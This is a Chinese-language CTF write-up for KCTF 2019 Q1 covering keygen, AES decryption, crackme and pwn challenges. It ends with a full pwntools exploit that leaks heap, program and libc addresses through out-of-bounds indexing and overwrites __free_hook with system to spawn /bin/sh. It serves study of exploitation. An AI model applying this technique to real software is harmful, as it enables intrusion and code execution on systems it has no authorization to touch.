KCTF2019Q1

好菜,这次必看着dalao的wp学习一波。

流浪者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
s="KanXueCTF2019JustForhappy"
dic="abcdefghiABCDEFGHIJKLMNjklmn0123456789opqrstuvwxyzOPQRSTUVWXYZ"
index=[]
key=""
for i in s:
index.append(dic.find(i))
for i in index:
if i>=0 and i<=9:
key+=chr(i+48)
if i>=10 and i<=35:
key+=chr(i+87)
if i>=36:
key+=chr(i+29)
print key

初入好望角

魔改了一波源代码就可以解密了,毕竟key和iv都给了,不过之前没怎么用代码实现过AES加密,所以选择了魔改源代码,看了dalao们的wp,使用py应该可以代码更简洁一些。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Security.Cryptography;
namespace HelloWorldApplication
{
class HelloWorld
{
static void Main(string[] args)
{
byte[] keyArray = new PasswordDeriveBytes("Kanxue2019", null).GetBytes(32);
byte[] ivArray = Encoding.UTF8.GetBytes("Kanxue2019CTF-Q1");
byte[] toEncryptArray = Convert.FromBase64String("4RTlF9Ca2+oqExJwx68FiA==");
RijndaelManaged rDel = new RijndaelManaged();
rDel.Key = keyArray;
rDel.IV = ivArray;
rDel.Mode = CipherMode.CBC;
rDel.Padding = PaddingMode.Zeros;
ICryptoTransform cTransform = rDel.CreateDecryptor();
byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
Console.WriteLine(UTF8Encoding.UTF8.GetString(resultArray));
}
}
}

REPWN

这题当时做的时候完全没意识到栈溢出,所以只做出来前面一半,明明名字给了提示了2333

这里会对输入进行检验,要求从第9位开始是X1Y0uN3tG00d,第21位是H。

这个函数就是栈溢出所在,strcpy时可以覆盖到返回地址,改变程序进程。sub_4013b0限制了输入的前8位,简单的方程组求解,答案是20101001。

由于之前已经限制了第21位输入是H,所以可以知道跳转到的地址的最后两位是f0。由于程序的地址只有六位,所以开头两位必定是00,可以推出第二十四位输入是k

在IDA里发现0x401bf0处的代码是红色的,没有被识别为函数,这里手动创建一下函数,发现这个函数应该就是需要跳转到的地址,输入应为HaCk

输入20101001X1Y0uN3tG00dHaCk后程序情况

分析sub_401bf0,发现对输入进行des加密,key为XiyouNet,得到第二部分输入Wel1C0me

当时没看出栈溢出,但是发现了函数sub_401bf0,只知道最终答案格式是第一次输入加第二次输入,可惜没能分析出des,也不知道怎么样能进行第二次输入,属实鶸。

影分身之术

这一题当时甚至还找了出题人去年出的题的wp,结果也是只做出了一半233

首先有一段js混淆,解密后代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function ckpswd() {
key = "simpower91";
a = document.all.pswd.value;
if (a.indexOf(key) == 0) {
l = a.length;
i = key.length;
sptWBCallback(a.substring(i, l));
} else {
alert("wrong!<" + a + "> is not my GUID ;-)");
return "1234";
}
}
function ok() {
alert("congratulations!");
}

输入的key的前缀必须是simpower91,之后的字符会作为sptWBCallback的参数,猜测是调用ok函数,不过上网找了半天也不知道怎么样的字符能调用到ok函数…

1
2
3
4
5
6
7
function sptWBCallback(spt_wb_id,spt_wb_name,optionstr){
url='#sptWBCallback:id=';
url=url+spt_wb_id+';eventName='+spt_wb_name;
if(optionstr)
url=url+';params=optionstr';
location=url;
}

(看了wp之后)跟踪发现这里有一个cmp eax,0x4的操作,simpower91后输入的字符长度为4。

1
2
3
4
5
6
7
8
9
10
11
12
13
00493FA6   .  55            push ebp
00493FA7   .  68 BA414900   push crackme2.004941BA
00493FAC   .  64:FF30       push dword ptr fs:[eax]
00493FAF   .  64:8920       mov dword ptr fs:[eax],esp
00493FB2   .  8B45 EC       mov eax,dword ptr ss:[ebp-0x14]
00493FB5   .  E8 7A07F7FF   call crackme2.00404734
00493FBA   .  83F8 04       cmp eax,0x4
00493FBD   .  0F85 BE010000 jnz crackme2.00494181
00493FC3   .  EB 21         jmp short crackme2.00493FE6
00493FC5   .^ E0 B0         loopdne short crackme2.00493F77
00493FC7   .  B1 B2         mov cl,0xB2
```
一路跟踪跟进了虚拟机函数,对四个字符的验证为
`ord(i)+0x7f==[0xe0, 0xb0, 0xb1, 0xb2]`


后四个字符为`a123`

# SaveSingleDog

听完人人人师傅的讲解豁然开朗,这题属于类型混淆,关键在于利用singledog和luckydog的不同结构及操作。

main函数:

puts(“This is a little game\n”);
puts(“You can create a character and choose if he needs a partner.\n”);
while ( 1 )
{
menu(“You can create a character and choose if he needs a partner.\n”, argv);
read_int();
switch ( (unsigned int)&savedregs )
{
case 1u:
singledog();
break;
case 2u:
luckydog();
break;
case 3u:
edit_singledog();
break;
case 4u:
edit_luckydog();
break;
case 5u:
save_singledog();
break;
case 6u:
exit(1);
return;
default:
continue;
}
}

1
2
3
4

常见的menu,有五个功能可以选择。

其中,singledog():

v3 = readfsqword(0x28u);
v2 = single_num;
if ( single_num == 80 )
{
puts(“full”);
}
else
{
printf(“Number :%d\n”, (unsigned int)single_num);
buf = malloc(0x20uLL);
puts(“Name:”);
read(0, buf, 0x20uLL);
two[v2] = buf;
++single_num;
}
return
readfsqword(0x28u) ^ v3;

1
2

luckydog:

v4 = readfsqword(0x28u);
v3 = lucky_num;
if ( lucky_num == 80 )
{
puts(“full”);
}
else
{
printf(“Number :%d\n”, (unsigned int)lucky_num);
v0 = malloc(0x20uLL);
buf = malloc(0x20uLL);
*v0 = buf;
puts(“Name”);
read(0, v0 + 1, 0x18uLL);
puts(“your partner’s name”);
read(0, buf, 0x20uLL);
one[v3] = v0;
++lucky_num;
}
return
readfsqword(0x28u) ^ v4;

1
2

可以对比两个dog之间的不同,singledog中的two存放的是一级指针,指向的地址存放着0x20长度的name,而luckydog中的one存放的是二级指针v0,v0指向的是buf的地址,buf指向的是partner's name,同时还有一个0x18长度的name,结构可以表示为:

singledog:

two[v2]: buf --> name

luckydog:

one[v3]:  v0 --> buf --> name
          v0+1 --> partner's name
1
2
3
buf占0x20的空间,v0占0x8的空间,v0+1占0x18的空间。

在edit时,没有对one或two的越界检查,而且在one和two的存放方式如下:

.data:0000000000202008 public dso_handle
.data:0000000000202008
dso_handle dq offset dso_handle ; DATA XREF: do_global_dtors_aux+17↑r
.data:0000000000202008 ; .data:dso_handle↓o
.data:0000000000202008 _data ends
.data:0000000000202008
LOAD:0000000000202010 ; ===========================================================================
LOAD:0000000000202010
LOAD:0000000000202010 ; Segment type: Pure data
LOAD:0000000000202010 ; Segment permissions: Read/Write
LOAD:0000000000202010 LOAD segment byte public ‘DATA’ use64
LOAD:0000000000202010 assume cs:LOAD
LOAD:0000000000202010 ;org 202010h
LOAD:0000000000202010 public
bss_start
LOAD:0000000000202010 bss_start db ? ; ; DATA XREF: deregister_tm_clones↑o
LOAD:0000000000202010 ; register_tm_clones↑o …
LOAD:0000000000202010 ; Alternative name is ‘_edata’
LOAD:0000000000202010 ;
TMC_END__
LOAD:0000000000202010 ; _edata
LOAD:0000000000202011 db ? ;
LOAD:0000000000202012 db ? ;
LOAD:0000000000202013 db ? ;
LOAD:0000000000202014 db ? ;
LOAD:0000000000202015 db ? ;
LOAD:0000000000202016 db ? ;
LOAD:0000000000202017 unk_202017 db ? ; ; DATA XREF: deregister_tm_clones+7↑o
LOAD:0000000000202018 db ? ;
LOAD:0000000000202019 db ? ;
LOAD:000000000020201A db ? ;
LOAD:000000000020201B db ? ;
LOAD:000000000020201C db ? ;
LOAD:000000000020201D db ? ;
LOAD:000000000020201E db ? ;
LOAD:000000000020201F db ? ;
LOAD:000000000020201F LOAD ends
LOAD:000000000020201F
.bss:0000000000202020 ; ===========================================================================
.bss:0000000000202020
.bss:0000000000202020 ; Segment type: Uninitialized
.bss:0000000000202020 ; Segment permissions: Read/Write
.bss:0000000000202020 ; Segment alignment ‘32byte’ can not be represented in assembly
.bss:0000000000202020 _bss segment para public ‘BSS’ use64
.bss:0000000000202020 assume cs:_bss
.bss:0000000000202020 ;org 202020h
.bss:0000000000202020 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000202020 public stdout@@GLIBC_2_2_5
.bss:0000000000202020 ; FILE stdout
.bss:0000000000202020 stdout@@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:0000000000000490↑o
.bss:0000000000202020 ; my_init+54↑r
.bss:0000000000202020 ; Alternative name is ‘stdout’
.bss:0000000000202020 ; Copy of shared data
.bss:0000000000202028 align 10h
.bss:0000000000202030 public stdin@@GLIBC_2_2_5
.bss:0000000000202030 ; FILE
stdin
.bss:0000000000202030 stdin@@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:00000000000004A8↑o
.bss:0000000000202030 ; my_init+36↑r
.bss:0000000000202030 ; Alternative name is ‘stdin’
.bss:0000000000202030 ; Copy of shared data
.bss:0000000000202038 align 20h
.bss:0000000000202040 public stderr@@GLIBC_2_2_5
.bss:0000000000202040 ; FILE *stderr
.bss:0000000000202040 stderr@@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:00000000000004C0↑o
.bss:0000000000202040 ; my_init+72↑r
.bss:0000000000202040 ; Alternative name is ‘stderr’
.bss:0000000000202040 ; Copy of shared data
.bss:0000000000202048 completed_6962 db ? ; DATA XREF: do_global_dtors_aux↑r
.bss:0000000000202048 ;
do_global_dtors_aux+29↑w
.bss:0000000000202049 align 4
.bss:000000000020204C public single_num
.bss:000000000020204C single_num dd ? ; DATA XREF: singledog+17↑r
.bss:000000000020204C ; singledog+9B↑r …
.bss:0000000000202050 public lucky_num
.bss:0000000000202050 lucky_num dd ? ; DATA XREF: luckydog+17↑r
.bss:0000000000202050 ; luckydog+E2↑r …
.bss:0000000000202054 align 20h
.bss:0000000000202060 public two
.bss:0000000000202060 ; _QWORD two[80]
.bss:0000000000202060 two dq 50h dup(?) ; DATA XREF: singledog+8C↑o
.bss:0000000000202060 ; edit_singledog+3D↑o …
.bss:00000000002022E0 public one
.bss:00000000002022E0 ; _QWORD one[80]
.bss:00000000002022E0 one dq 50h dup(?) ; DATA XREF: luckydog+D3↑o
.bss:00000000002022E0 ; edit_luckydog+3D↑o …
.bss:00000000002022E0 _bss ends

1
2
3
4

因此在`edit_singledog`时,可以利用越界的下标,把luckydog当做singledog进行edit。

edit_singledog:

v2 = readfsqword(0x28u);
puts(“which?”);
v1 = read_int(“which?”);
if ( two[v1] )
{
puts(“Oh,singledog,changing your name can bring you good luck.”);
read(0, (void *)two[v1], 0x20uLL);
printf(“new name: %s”, two[v1]);
}
else
{
puts(“nothing here”);
}
return
readfsqword(0x28u) ^ v2;

1
2

由于之前的结构差异,此时会输出的是buf的地址,即之前申请的堆地址,但是最低的一个字节是被我们edit过的,但是因为取的是堆基址,所以无关紧要。堆地址是页对齐的,一页的大小为4k,所以`&0xfffffffff000`取堆的基地址。

edit_single((0x2e0-0x60)/8,”\x00”)
io.recvuntil(“new name: “)
heap_base = (u64(io.recv(6).ljust(8,’\x00’))&0xfffffffff000)

1
类似地,可以使用负数作为下标,leak出`__dso_handle`的值,同时`__dso_handle`的值就是它的地址,所以可以得到程序的基地址。

edit_single((0x08-0x60)/8,”\x08”)
io.recvuntil(“new name: “)
proc_base = (u64(io.recv(6).ljust(8,’\x00’))-0x202008)

1
2

之后就可以`edit_singledog`把luckydog中的buf改为two[0],这样再次`edit_luckydog`时,就能修改two[0]为bss段的`stderr`地址,之后再次`edit_singledog`,就能leak出`stderr`地址。

edit_single((0x2e0-0x60)/8,p64(proc_base+elf.sym[‘two’]))
edit_lucky(0,”**“,p64(proc_base+elf.sym[‘stderr’]))
edit_single(0,”\x80”)
io.recvuntil(“new name: “)
libc_base = (u64(io.recv(6).ljust(8,’\x00’)))-libc.sym[‘_IO_2_1_stderr_’]

1
2
3
4
5
关于libc的版本,出题人说可以尝试摸索发现程序存在tcache机制,随后判断libc版本为2.26或2.27,不过我现在对tcache还不是很了解……

之后再次类似地将luckydog中的buf改为freehook的地址,修改freehook为system函数,再想办法让free时参数为/bin/sh即可。

exp(照抄人人人师傅):

from pwn import *
elf = ELF(“./apwn.dms”)
libc = ELF(“/lib/x86_64-linux-gnu/libc-2.27.so”)
io = process(“./apwn.dms”,env={“LD_PRELOAD”:”/lib/x86_64-linux-gnu/libc-2.27.so”})
def choice(c):
io.sendlineafter(“>>\n”,str(c))
def single(name):
choice(1)
io.sendafter(“Name:\n”,name)
def lucky(name,cp_name):
choice(2)
io.sendafter(“Name\n”,name)
io.sendafter(“your partner’s name\n”,cp_name)
def edit_single(idx,new_name):
choice(3)
io.sendlineafter(“which?”,str(idx))
io.sendafter(“Oh,singledog,changing your name can bring you good luck.\n”,new_name)
def edit_lucky(idx,new_name,new_cp_name):
choice(4)
io.sendlineafter(“which?”,str(idx))
io.sendafter(“Oh,luckydog,What is your new name?\n”,new_name)
io.sendafter(“your partner’s new name\n”,new_cp_name)
def save_single():
choice(5)

lucky(“0000”,”0001”)
single(“0000”)

edit_single((0x2e0-0x60)/8,”\x00”)
io.recvuntil(“new name: “)
heap_base = (u64(io.recv(6).ljust(8,’\x00’))&0xfffffffff000)
success(“HEAP BASE -> %#x”%heap_base)

edit_single((0x08-0x60)/8,”\x08”)
io.recvuntil(“new name: “)
proc_base = (u64(io.recv(6).ljust(8,’\x00’))-0x202008)
success(“PROC BASE -> %#x”%proc_base)

edit_single((0x2e0-0x60)/8,p64(proc_base+elf.sym[‘two’]))
edit_lucky(0,”**“,p64(proc_base+elf.sym[‘stderr’]))
edit_single(0,”\x80”)
io.recvuntil(“new name: “)
libc_base = (u64(io.recv(6).ljust(8,’\x00’)))-libc.sym[‘_IO_2_1_stderr_’]
success(“LIBC BASE -> %#x”%libc_base)

edit_lucky(0,”echo X;/bin/sh\x00”,p64(libc_base+libc.sym[‘__free_hook’]))
edit_single(0,p64(libc_base+libc.sym[‘system’]))
lucky(“/bin/sh\x00”,”/bin/sh\x00”)
save_single()
io.interactive()
`

文章目录
  1. 1. 流浪者
  2. 2. 初入好望角
  3. 3. REPWN
  4. 4. 影分身之术
|